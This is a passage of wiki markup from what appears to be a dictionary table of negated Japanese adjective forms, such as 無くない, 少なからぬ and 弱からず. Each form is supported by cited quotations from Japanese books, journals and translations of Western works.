Iwano|first=Hōmei|last=Iwano|publisher=Ten'yūsha|date=14 April 1920|location=[[Kanda, Tokyo]]}}</ref>
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|be nonexistent|無い|nai}}<br>{{#invoke:nihongo|nihongo_krt||無かる|nakaru}}
| {{#invoke:nihongo|nihongo_krt|not be nonexistent → be existent|無くない|naku nai}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:順当に行くのなら、一羽で戦っているボーパルの援護に向かうべきなんだろうけど……必要無くない?|script-chapter=ja:第一章 森林マラソンとアイギスの進化|script-title=ja:VRMMOでサモナー始めました|volume=2|author=Tetometo|publisher=TO Books|date=10 March 2018}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「『空間魔法』は空に透明の足場を作る能力?効果はわかりやすいけど、たった2枚しか作れない上に、再使用に数秒かかるんじゃ、用途が無くないか……?」|script-chapter=ja:第二層の秘密|script-title=ja:レベルガチャ ~ハズレステータス『運』が結局一番重要だった件~|volume=4|last=Sumeragi|first=Sekka|date=20 December 2024|publisher=TO Books}}</ref><br>{{#invoke:nihongo|nihongo_krt||無うない|nō nai}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:その<ruby>通<rp>(</rp><rt>とほ</rt><rp>)</rp></ruby>りといふは、<ruby>革<rp>(</rp><rt>かは</rt><rp>)</rp></ruby><ruby>屋<rp>(</rp><rt>や</rt><rp>)</rp></ruby><ruby>市<rp>(</rp><rt>いち</rt><rp>)</rp></ruby><ruby>場<rp>(</rp><rt>ば</rt><rp>)</rp></ruby>のなかにあつたのです。<ruby>革<rp>(</rp><rt>かは</rt><rp>)</rp></ruby><ruby>屋<rp>(</rp><rt>や</rt><rp>)</rp></ruby><ruby>達<rp>(</rp><rt>たち</rt><rp>)</rp></ruby>はその<ruby>時<rp>(</rp><rt>とき</rt><rp>)</rp></ruby>、<ruby>皮革<rp>(</rp><rt>かは</rt><rp>)</rp></ruby>を<ruby>賣<rp>(</rp><rt>う</rt><rp>)</rp></ruby>らうとて<ruby>大<rp>(</rp><rt>おほ</rt><rp>)</rp></ruby><ruby>聲<rp>(</rp><rt>ごゑ</rt><rp>)</rp></ruby>をあげてをりましたが、そこに<ruby>集<rp>(</rp><rt>たか</rt><rp>)</rp></ruby>つてをつた<ruby>人<rp>(</rp><rt>ひと</rt><rp>)</rp></ruby><ruby>々<rp>(</rp><rt>〲</rt><rp>)</rp></ruby>は、<ruby>兄弟<rp>(</rp><rt>あに</rt><rp>)</rp></ruby>めがこんな<ruby>樣子<rp>(</rp><rt>ざま</rt><rp>)</rp></ruby>で、<ruby>殆<rp>(</rp><rt>まる</rt><rp>)</rp></ruby>で<ruby>眞<rp>(</rp><rt>まつ</rt><rp>)</rp></ruby><ruby>裸體<rp>(</rp><rt>ぱだか</rt><rp>)</rp></ruby>で、<ruby>髭<rp>(</rp><rt>ひげ</rt><rp>)</rp></ruby>も<ruby>眉<rp>(</rp><rt>まゆ</rt><rp>)</rp></ruby><ruby>毛<rp>(</rp><rt>げ</rt><rp>)</rp></ruby>も<ruby>口<rp>(</rp><rt>くち</rt><rp>)</rp></ruby><ruby>髭<rp>(</rp><rt>ひげ</rt><rp>)</rp></ruby>もみんな<ruby>剃<rp>(</rp><rt>そ</rt><rp>)</rp></ruby>つてあまつさへ、<ruby>顏<rp>(</rp><rt>かほ</rt><rp>)</rp></ruby>を<ruby>眞<rp>(</rp><rt>まつ</rt><rp>)</rp></ruby><ruby>赤<rp>(</rp><rt>か</rt><rp>)</rp></ruby>に<ruby>染<rp>(</rp><rt>そ</rt><rp>)</rp></ruby>めてゐる<ruby>奇<rp>(</rp><rt>き</rt><rp>)</rp></ruby><ruby>體<rp>(</rp><rt>たい</rt><rp>)</rp></ruby>な<ruby>風<rp>(</rp><rt>ふう</rt><rp>)</rp></ruby><ruby>體<rp>(</rp><rt>てい</rt><rp>)</rp></ruby>を<ruby>見<rp>(</rp><rt>み</rt><rp>)</rp></ruby>て、<ruby>彼<rp>(</rp><rt>かれ</rt><rp>)</rp></ruby><ruby>等<rp>(</rp><rt>ら</rt><rp>)</rp></ruby>は<ruby>兄<rp>(</rp><rt>あに</rt><rp>)</rp></ruby>を<ruby>囃<rp>(</rp><rt>はや</rt><rp>)</rp></ruby>し<ruby>立<rp>(</rp><rt>た</rt><rp>)</rp></ruby>て、どつとばかり<ruby>大<rp>(</rp><rt>おほ</rt><rp>)</rp></ruby><ruby>聲<rp>(</rp><rt>ごゑ</rt><rp>)</rp></ruby>で<ruby>笑<rp>(</rp><rt>わら</rt><rp>)</rp></ruby>うた。<ruby>中<rp>(</rp><rt>なか</rt><rp>)</rp></ruby>には、<ruby>皮<rp>(</rp><rt>かは</rt><rp>)</rp></ruby>で<ruby>打<rp>(</rp><rt>うち</rt><rp>)</rp></ruby>ち<ruby>叩<rp>(</rp><rt>たゝ</rt><rp>)</rp></ruby>いた<ruby>奴<rp>(</rp><rt>やつ</rt><rp>)</rp></ruby>もあつたものでとうとう<ruby>氣<rp>(</rp><rt>き</rt><rp>)</rp></ruby>が<ruby>遠<rp>(</rp><rt>とほ</rt><rp>)</rp></ruby>くなつてしまひました。すると<ruby>奴<rp>(</rp><rt>やつ</rt><rp>)</rp></ruby><ruby>等<rp>(</rp><rt>ら</rt><rp>)</rp></ruby>は<ruby>彼<rp>(</rp><rt>かれ</rt><rp>)</rp></ruby>をば<ruby>驢<rp>(</rp><rt>ろ</rt><rp>)</rp></ruby><ruby>馬<rp>(</rp><rt>ば</rt><rp>)</rp></ruby>にぶん<ruby>乘<rp>(</rp><rt>の</rt><rp>)</rp></ruby>せて<ruby>使<rp>(</rp><rt>し</rt><rp>)</rp></ruby><ruby>廳<rp>(</rp><rt>ちやう</rt><rp>)</rp></ruby>の<ruby>長<rp>(</rp><rt>ちやう</rt><rp>)</rp></ruby><ruby>官<rp>(</rp><rt>くわん</rt><rp>)</rp></ruby>の<ruby>許<rp>(</rp><rt>もと</rt><rp>)</rp></ruby>に<ruby>伴<rp>(</rp><rt>つ</rt><rp>)</rp></ruby>れてゆきますると、<ruby>長<rp>(</rp><rt>ちやう</rt><rp>)</rp></ruby><ruby>官<rp>(</rp><rt>くわん</rt><rp>)</rp></ruby>は<ruby>大<rp>(</rp><rt>おほ</rt><rp>)</rp></ruby><ruby>聲<rp>(</rp><rt>ごゑ</rt><rp>)</rp></ruby>で、『これは一<ruby>體<rp>(</rp><rt>たい</rt><rp>)</rp></ruby><ruby>何<rp>(</rp><rt>なに</rt><rp>)</rp></ruby>か。』と<ruby>申<rp>(</rp><rt>まを</rt><rp>)</rp></ruby>すと<ruby>革<rp>(</rp><rt>かは</rt><rp>)</rp></ruby><ruby>屋<rp>(</rp><rt>や</rt><rp>)</rp></ruby>どもはそれに<ruby>答<rp>(</rp><rt>こた</rt><rp>)</rp></ruby>へまして、『この<ruby>男<rp>(</rp><rt>をとこ</rt><rp>)</rp></ruby>はこんな<ruby>樣<rp>(</rp><rt>やう</rt><rp>)</rp></ruby><ruby>子<rp>(</rp><rt>す</rt><rp>)</rp></ruby>をして<ruby>大<rp>(</rp><rt>だい</rt><rp>)</rp></ruby><ruby>臣<rp>(</rp><rt>じん</rt><rp>)</rp></ruby>さまの<ruby>御<rp>(</rp><rt>お</rt><rp>)</rp></ruby><ruby>邸<rp>(</rp><rt>やしき</rt><rp>)</rp></ruby>から<ruby>手<rp>(</rp><rt>て</rt><rp>)</rp></ruby><ruby>前<rp>(</rp><rt>まへ</rt><rp>)</rp></ruby>どもの<ruby>處<rp>(</rp><rt>ところ</rt><rp>)</rp></ruby>まで<ruby>天<rp>(</rp><rt>あま</rt><rp>)</rp></ruby><ruby>降<rp>(</rp><rt>くだ</rt><rp>)</rp></ruby>りやがつたんでござりまするわい。』<ruby>長<rp>(</rp><rt>ちやう</rt><rp>)</rp></ruby><ruby>官<rp>(</rp><rt>くわん</rt><rp>)</rp></ruby>は、そこで、<ruby>彼<rp>(</rp><rt>かれ</rt><rp>)</rp></ruby>に一百<ruby>鞭<rp>(</rp><rt>べん</rt><rp>)</rp></ruby>を<ruby>加<rp>(</rp><rt>くは</rt><rp>)</rp></ruby>へ、<ruby>町<rp>(</rp><rt>まち</rt><rp>)</rp></ruby>より<ruby>放<rp>(</rp><rt>はう</rt><rp>)</rp></ruby><ruby>逐<rp>(</rp><rt>ちく</rt><rp>)</rp></ruby>いたしてしまひました。そこで、<ruby>私<rp>(</rp><rt>わたし</rt><rp>)</rp></ruby>は<ruby>兄弟<rp>(</rp><rt>あに</rt><rp>)</rp></ruby>の<ruby>後<rp>(</rp><rt>あと</rt><rp>)</rp></ruby>から<ruby>出<rp>(</rp><rt>で</rt><rp>)</rp></ruby>て<ruby>行<rp>(</rp><rt>い</rt><rp>)</rp></ruby>つて、ひそかに<ruby>町<rp>(</rp><rt>まち</rt><rp>)</rp></ruby>へとつれ<ruby>還<rp>(</rp><rt>かへ</rt><rp>)</rp></ruby>し、<ruby>食<rp>(</rp><rt>く</rt><rp>)</rp></ruby>ひ<ruby>扶<rp>(</rp><rt>ぶ</rt><rp>)</rp></ruby><ruby>持<rp>(</rp><rt>ち</rt><rp>)</rp></ruby>をあてがうておきましたのぢや。<ruby>私<rp>(</rp><rt>わたし</rt><rp>)</rp></ruby>のこの<ruby>太<rp>(</rp><rt>ふと</rt><rp>)</rp></ruby>ツ<ruby>腹<rp>(</rp><rt>ぱら</rt><rp>)</rp></ruby>な<ruby>氣<rp>(</rp><rt>き</rt><rp>)</rp></ruby><ruby>前<rp>(</rp><rt>まへ</rt><rp>)</rp></ruby>で<ruby>無<rp>(</rp><rt>な</rt><rp>)</rp></ruby>うなかつたら、かまへてこんな<ruby>男<rp>(</rp><rt>をとこ</rt><rp>)</rp></ruby>に<ruby>我<rp>(</rp><rt>が</rt><rp>)</rp></ruby><ruby>慢<rp>(</rp><rt>まん</rt><rp>)</rp></ruby>はよう<ruby>出<rp>(</rp><rt>で</rt><rp>)</rp></ruby><ruby>來<rp>(</rp><rt>き</rt><rp>)</rp></ruby>ませんでたらうてな。|quote=This street was in the market of the leather-sellers, who were then crying skins for sale; and when the people there collected saw him in this condition, almost naked, with shaven beard and eyebrows and mustaches, and with his face painted red, they shouted at him, and raised a loud laugh, and some of them beat him with the skins until he became insensible. They then placed him upon an ass, and conducted him to the Wálee, who exclaimed, What is this?—They answered, This descended upon us from the house of the Wezeer, in this condition. And the Wálee inflicted upon him a hundred lashes, and banished him from the city: but I went out after him, and brought him back privately into the city, and allotted him a maintenance. Had it not been for my generous disposition, I had not borne with such a person.|pp=135–136|url=https://dl.ndl.go.jp/pid/1169110/1/71|script-chapter=ja:<ruby>床<rp>(</rp><rt>とこ</rt><rp>)</rp></ruby><ruby>屋<rp>(</rp><rt>や</rt><rp>)</rp></ruby>が<ruby>第<rp>(</rp><rt>だい</rt><rp>)</rp></ruby>二の<ruby>兄<rp>(</rp><rt>あに</rt><rp>)</rp></ruby>に<ruby>就<rp>(</rp><rt>つ</rt><rp>)</rp></ruby>いての<ruby>床<rp>(</rp><rt>とこ</rt><rp>)</rp></ruby><ruby>屋<rp>(</rp><rt>や</rt><rp>)</rp></ruby>の<ruby>譚<rp>(</rp><rt>ものがたり</rt><rp>)</rp></ruby>|chapter=The Barber’s Story of His Second Brother.|title=The Thousand and One Nights, Commonly Called, in England, The Arabian Nights’ Entertainments. A New Translation from the Arabic, with Copious Notes.|script-title=ja:アラビヤンナイト|trans-title=[[One Thousand and One Nights|Arabian Nights]]|authorlink=Edward William Lane|first=Edward William|last=Lane|translator-link=Kōnosuke Hinatsu|translator-first=Kōnosuke|translator-last=Hinatsu|publisher=Shunyodo|series={{#invoke:lang|lang|ja|少年文庫}}|volume=2|date=15 October 1932|location=[[Nihonbashi]], Tokyo}}</ref>
|-
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|無か}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|無か}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ら}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not be nonexistent → be existent|無からん|nakaran}}<br>{{#invoke:nihongo|nihongo_krt||無からぬ|nakaranu}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:巨大ウサギとウルナの一言で緊張感が台無しになったが、それも無理無からぬ事だ。つぶらな瞳の大きなウサギはあまりに愛らしく、とても殺す気にはなれない。|url=https://ncode.syosetu.com/n8515dc/57/|script-title=ja:アラフォー賢者の異世界生活日記|script-chapter=ja:おっさん、【あの頃】にリターンす|date=29 June 2016|last=Kotobuki|first=Yasukiyo|publisher={{#invoke:lang|lang|ja|小説家になろう}}}}</ref><ref>{{#invoke:cite|book|script-title=ja:防災における行政のNPO・ボランティア等との連携・協働ガイドブック ~三者連携を目指して~|author={{#invoke:lang|lang|ja|内閣府防災担当}}|lang=ja|script-quote=ja:しかし、被災した自治体や、市町村社協等が設置する災害 VC にとって、外部からやって来る数多くの専門ボランティアや NPO 等が適材適所で活躍してもらえるよう調整することは非常に困難であり、面識のない専門ボランティアや NPO 等を、本当に信用して任せてよいのか不安を抱くことも無理なからぬところです。|p=40|url=https://www.bousai.go.jp/kaigirep/kentokai/bousai_volunteer_kankyoseibi/pdf/h3004guidebook.pdf|publisher=Cabinet Office, Government of Japan|date=April 2018}}</ref><br>{{#invoke:nihongo|nihongo_krt||無からず|nakarazu}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:このような手法においては,境界条件を与えるべき表面上になからずしも有限要素の節点があるという保証はない.|url=https://dl.ndl.go.jp/pid/11082623/1/1|script-journal=ja:シミュレーション|volume=23|number=4|date=December 2004|p=268|publisher=Japan Society for Simulation Technology|journal=Simulation|last=Nagashima|first=Toshio|script-title=ja:ボクセル解析における境界条件の付与方法}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:ラムズフェルド国防長官は、スカーボローが言うように軍に対するコントロールを確立するためには、自身を意思決定の中心に置くことが必要と感じ、各軍などと外部との情報のやりとりについて、どんな些細なことでもなからず自身を経由する、あるいは事前報告するように要求していた<sup>41</sup>。|p=10|script-title=ja:「アドバイザー」としての軍人 ――米国における軍人による助言を巡る政軍関係――|last=Kikuchi|first=Shigeo|script-journal=ja:防衛研究所紀要|volume=12|date=March 2010|url=https://www.nids.mod.go.jp/publication/kiyo/pdf/bulletin_j12-2-3_1.pdf}}</ref>
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|be scarce|少ない|sukunai}}<br>{{#invoke:nihongo|nihongo_krt||少なかる|sukunakaru}}
| style=text-align:right | {{#invoke:lang|lang|ja|少}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ない}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|少な}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|く}}</span>'''<br>{{#invoke:lang|lang|ja|少}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|のう}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not be scarce|少なくない|sukunaku nai}}<br>{{#invoke:nihongo|nihongo_krt||少のうない|sukunō nai}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:ほんまにラッキーです。人気のお店やさかい、二、三日前に予約しようとしても満席で断られることも少のうないんです。当日に予約が取れたやなんてありがたいことですわ。きっと今日のお話もうまいこといくやろ思います。|script-chapter=ja:第四話 たまご料理対決|script-title=ja:下鴨料亭味くらべ帖 料理の原点|volume=3|last=Kashiwai|first=Hisashi|date=7 November 2024|isbn=978-4-569-90439-9|publisher=PHP Institute|location=[[Kōtō]], Tokyo}}</ref>
|-
| style=text-align:right | {{#invoke:lang|lang|ja|少なか}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|少なか}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ら}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not be scarce|少なからん|sukunakaran}}<br>{{#invoke:nihongo|nihongo_krt||少なからぬ|sukunakaranu}}<ref>{{#invoke:cite|web|lang=ja|url=https://kotobank.jp/word/%E5%B0%91%E3%81%AA%E3%81%8B%E3%82%89%E3%81%AC-541291|script-title=ja:少なからぬ|script-work=ja:コトバンク}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:なぜならば,日本とは言語環境が大きく違い,日々の生活の中で日本語に触れる機会は少なく,そのために,日本で育つ子ども達と比べ,語彙力に少なからぬ開きがあるからである。|page=41|url=https://u-gakugei.repo.nii.ac.jp/record/50204/files/35_zjreport_10.pdf|last=Nishimura|first=Norihito|script-title=ja:パナマ日本人学校における少人数指導の工夫と実践|script-journal=ja:在外教育施設における指導実践記録|number=35|year=2012}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:しかし、その後、「アクティブ・ラーニング」をめぐる各界の議論が活発化していく中で、活動主義、形式主義に陥りやすいといったデメリットが指摘されるようになり、中教審における改訂作業にも少なからぬ影響を与えていった。そのなかでも最も大きなものは「ディープ・アクティブラーニング」(松下ほか2015)の主張であったと思われる。|page=11|url=https://www.jstage.jst.go.jp/article/kokugoka/81/0/81_11/_pdf|first=Seiji|last=Tsuruda|script-title=ja:自分の既有知識・生活経験から類推するアクティブな学び|script-journal=ja:国語科教育|volume=81|year=2017}}</ref><br>{{#invoke:nihongo|nihongo_krt||少なからず|sukunakarazu}}<ref>{{#invoke:cite|web|lang=ja|url=https://kotobank.jp/word/%E5%B0%91%E3%81%AA%E3%81%8B%E3%82%89%E3%81%9A-541290|script-title=ja:少なからず|script-work=ja:コトバンク}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:現状では,現場の要望と研究者が提供する知見・技術の間に少なからずギャップが存在している。[…]現場からの要望(ニーズ)と,研究者が提供できる研究から得られる知見・技術(シーズ)の間に少なからずギャップが存在するという問題は,雑草学に限った問題ではない。|page=22|url=https://www.jstage.jst.go.jp/article/weed/58/1/58_22/_pdf|first1=Takeshi|last1=Ōsawa|first2=Munemitsu|last2=Akasaka|script-title=ja:現場で使える研究成果とは? ―研究成果を現場に届けるために必要なことを考える―|script-journal=ja:雑草研究|volume=58|number=1|year=2013}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:たとえば、「子どもを保育園などに預けられないこと」や「会社に通勤できないこと」などは、非該当者が少なからず存在するので、それらの人を除外し、「ある/ない」の2値化して回答比率の高い順に整序したのが表2である。|page=26|url=https://www.jstage.jst.go.jp/article/jsicr/38/1/38_25/_article/-char/ja/|first=Yoshiaki|last=Hashimoto|script-title=ja:新型コロナ禍中の人々の不安・ストレスと抑鬱・孤独感の変化|script-journal=ja:情報通信学会誌|volume=38|number=1|year=2020|title=Peopleʼs Anxiety, Stress and Depression in Corona related Crisis|doi=10.11430/jsicr.38.1_25 }}</ref>
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|be weak|弱い|yowai}}<br>{{#invoke:nihongo|nihongo_krt||弱かる|yowakaru}}
| style="text-align:right" | {{#invoke:lang|lang|ja|よ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|わい}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|よわ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|く}}</span>'''<br>{{#invoke:lang|lang|ja|よ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|おう}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not be weak|弱くない|yowaku nai}}<br>{{#invoke:nihongo|nihongo_krt||弱うない|yoō nai}}
|-
| style="text-align:right" | {{#invoke:lang|lang|ja|弱か}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|弱か}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ら}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not be weak|弱からん|yowakaran}}<br>{{#invoke:nihongo|nihongo_krt||弱からぬ|yowakaranu}}<ref name=otani-1913>{{#invoke:cite|book|lang=ja|script-quote=ja:現實が面と向つて我々に對する迄は、美の點で之に優ると思ふ理想を抱くのが善くはなからうか。が一旦現實と面と向ひ合へば、我々の最高の願望を油として燃えて居た理想の炎は、そんな願望を紛碎する偉大な現實の、自己よりも脆からぬ、自己よりも弱からぬその美に對して、自己の有の儘の光を投ずるに滿足しなきやならぬ。|trans-quote=Till reality confront us, it is well, it may be, to cherish ideals that we hold to surpass it in beauty ; but once face to face with reality, then must the ideal flame that has fed on our noblest desires be content to throw faithful light on the less fragile, less tender beauty of the mighty mass that crushes these desires.|quote=En attendant que la réalité se manifeste, il est peut-être salutaire d’entretenir un idéal qu’on s’imagine plus beau que la réalité; mais après que celle-ci s’est enfin révélée, il devient nécessaire que la flamme idéale que nous avons nourrie de nos meilleurs désirs, ne serve plus qu’à éclairer loyalement les beautés moins fragiles et moins complaisantes de la masse imposante qui écrase ces désirs.|url=https://dl.ndl.go.jp/pid/951871/1/17|p=27|script-chapter=ja:四|trans-chapter=§ 4.|chapter=IV|script-title=ja:智慧と運命|trans-title=Wisdom and Destiny|title=La sagesse et la destinée|authorlink=Maurice Maeterlinck|first=Maurice Polydore Marie Bernard|last=Maeterlinck|translator-link=Alfred Sutro|translator-first=Alfred|translator-last=Sutro|date=30 December 1913|translator-last2=Ōtani|translator-first2=Jōseki|publisher=Nanbokusha|location=[[Ushigome]], Tokyo}}</ref><br>{{#invoke:nihongo|nihongo_krt||弱からず|yowakarazu}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:玄徳はまず彼の<ruby>語<rp>(</rp><rt>ご</rt><rp>)</rp></ruby><ruby>韻<rp>(</rp><rt>いん</rt><rp>)</rp></ruby>の<ruby>清<rp>(</rp><rt>すが</rt><rp>)</rp></ruby><ruby>々<rp>(</rp><rt>すが</rt><rp>)</rp></ruby>しさに気づいた。低からず、高からず、強からず、弱からず、一語一語、何か香気のあるような響きがある。余韻がある。|script-chapter=ja:<ruby>立<rp>(</rp><rt>りっ</rt><rp>)</rp></ruby><ruby>春<rp>(</rp><rt>しゅん</rt><rp>)</rp></ruby><ruby>大<rp>(</rp><rt>だい</rt><rp>)</rp></ruby><ruby>吉<rp>(</rp><rt>きち</rt><rp>)</rp></ruby>|trans-chapter=[[Lichun|Establishing Spring]], Great Luck|url=https://www.aozora.gr.jp/cards/001562/files/52414_51065.html|trans-quote=The timbre of his enunciation struck [[Liu Bei|Xuande]]. Not low, not high, not strong, not weak, each and every word has fragrance-like acoustics, as well as reverberation.|script-title=ja:三国志 孔明の巻|trans-title=[[Romance of the Three Kingdoms]]: Book of [[Kongming]]|authorlink=Eiji Yoshikawa|first=Eiji|last=Yoshikawa|orig-date=11 April 1989|date=1 April 2011|edition=58th|publisher=Kodansha}}</ref>
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|be abundant|多い|ōi}}<br>{{#invoke:nihongo|nihongo_krt||多かる|ōkaru}}
| style=text-align:right | {{#invoke:lang|lang|ja|多}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|い}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|多}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|く}}</span>'''<br>{{#invoke:lang|lang|ja|多}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|う}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not be abundant|多くない|ōku nai}}<br>{{#invoke:nihongo|nihongo_krt||多うない|oō nai}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「[…]<br>儂の<ruby>外<rp>(</rp><rt>と</rt><rp>)</rp></ruby><ruby>他<rp>(</rp><rt>だ</rt><rp>)</rp></ruby>流も、鐘捲自斎殿がほうぼうの陣場にて手柄をかさねる間に、自然と身についた太刀遣いじゃけえ、おおまかな刀法はあるが、斬りあいの味は実戦にて覚えるものとしちょるんじゃけえ、あんまり組太刀の数は多うない。塩の味はなめてみなけりゃわからんものよ」|script-chapter=ja:伊藤一刀斎──一刀に断つ|script-title=ja:剣豪血風録|title=Kengo Keppuroku|last=Tsumoto|first=Yō|publisher=PHP Institute|location=[[Kōtō]], Tokyo|series=PHP{{#invoke:lang|lang|ja|文芸文庫}}|date=30 January 2012|isbn=978-4-569-67785-9}}</ref>
|-
| style=text-align:right | {{#invoke:lang|lang|ja|多か}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|多か}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ら}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not be abundant|多からん|ōkaran}}<br>{{#invoke:nihongo|nihongo_krt||多からぬ|ōkaranu}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:產卵は雄の死後間もなく行はれる。巢作りの間際になつてもアンピユーズは尼蟷螂のやうに多產の爲めに重くなつた大きい腹を抱えては居ない。相變らずすらりとして容易に飛び立つ事の出來るのは、子の數の多からぬ事を語つて居る。|quote=La ponte suit de près la disparition des mâles. Sur le point de nidifier, l’Empuse n’a pas la ventripotence de la Mante religieuse, alourdie par sa fécondité. Toujours svelte et apte à l’essor, elle annonce lignée peu nombreuse.|trans-quote=Egg laying is carried out shortly after the males’ deaths. Even on the verge of nesting, the Empusa is not holding the large belly that would be weighing her down for fecundity like the [[European mantis|Praying Mantis]]. Svelte and apt to take easy flight as always, she announces a brood not too numerous.|url=https://dl.ndl.go.jp/pid/1149271/1/225|p=398|chapter=XXII. — L’Empuse|script-chapter=ja:'''二二''' アンピユーズ|trans-chapter=XXII — The [[Empusa pennata|Empusa]]|script-title=ja:昆蟲記|trans-title=Entomological Memories|title=Souvenirs entomologiques|volume=5|authorlink=Jean-Henri Fabre|first=Jean-Henri Casimir|last=Fabre|translator-last=Washio|translator-first=Takeshi|location=[[Kōjimachi]], Tokyo|publisher=Sōbunkaku|date=10 April 1930}}</ref><br>{{#invoke:nihongo|nihongo_krt||多からず|ōkarazu}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:我々は主權者たる民衆の意志を表示する手段としての選擧について考へるなら、合衆國に於てはその意志は左の如きものであると云ひ得よう<br>(一) 威嚇或は不當なる壓迫が存在せず、自由に表示されてゐる。<br>(二) 賄賂や投票の欺瞞的處理によつて餘り甚だしく曲歪されてゐない。<br>(三) 他國に比して遜色なく大なる步合の登錄されたる投票者によつて表示されてゐる。<br>(四) 槪ね政黨組織によつて支配されてゐる。<br>(五) 若し選擧の囘數が左迄に多からず、選擧によつて選任される地位がもつと少なかつたら、もつと完全に表示されるであらう。|quote=Regarding elections as the means by which the will of the sovereign people is expressed, we may say that in the United States that will is —<br>(''a'') Expressed freely, under no intimidation or undue influence.<br>(''b'') Not widely perverted either by bribery or by fraudulent handling of the votes.<br>(''c'') Expressed by as large a proportion of the registered voters as in any other country.<br>(''d'') Largely controlled by the party organizations.<br>(''e'') Likely to be better expressed if the elections were less numerous and the number of offices filled by elections were not so large.|p=12|url=https://dl.ndl.go.jp/pid/1045029/1/8|script-chapter=ja:四一 聯邦政府の運轉の實況|chapter=Chapter XLI: The Actual Working of the National and State Governments|volume=3|script-title=ja:近代民主政治|title=Modern Democracies|series={{#invoke:lang|lang|ja|岩波文庫}}|translator-last=Matsuyama|translator-first=Takeshi|publisher=Iwanami Shoten|authorlink=James Bryce, 1st Viscount Bryce|first=James|last=Bryce|date=5 October 1948|edition=4th|orig-date=25 May 1930|location=[[Chiyoda, Tokyo]]}}</ref>
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|be good|良い|ii/yoi}}<br>{{#invoke:nihongo|nihongo_krt||良かる|yokaru}}
| style=text-align:right | '''<span style="color:#04b">{{#invoke:lang|lang|ja|いい}}</span>'''<br>{{#invoke:lang|lang|ja|よ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|い}}</span>'''
| style=text-align:right;border-right:none | '''<span style="color:#04b">{{#invoke:lang|lang|ja|よく<br>よう}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not be good|良くない|yoku nai}}<br>{{#invoke:nihongo|nihongo_krt||良うない|yō nai}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「治安が良うないとは聞いとる。いろんなもんが無茶苦茶になって、辺境の領地にすらならず者が流れてくる言うてたな」|script-chapter=ja:第一章 豆の木|date=31 October 2023|script-title=ja:余りモノ異世界人の自由生活~勇者じゃないので勝手にやらせてもらいます~|volume=6|last=Fujimori|first=Fukurō|publisher=AlphaPolis}}</ref>
|-
| style=text-align:right | {{#invoke:lang|lang|ja|良か}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|良か}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ら}}</span>'''
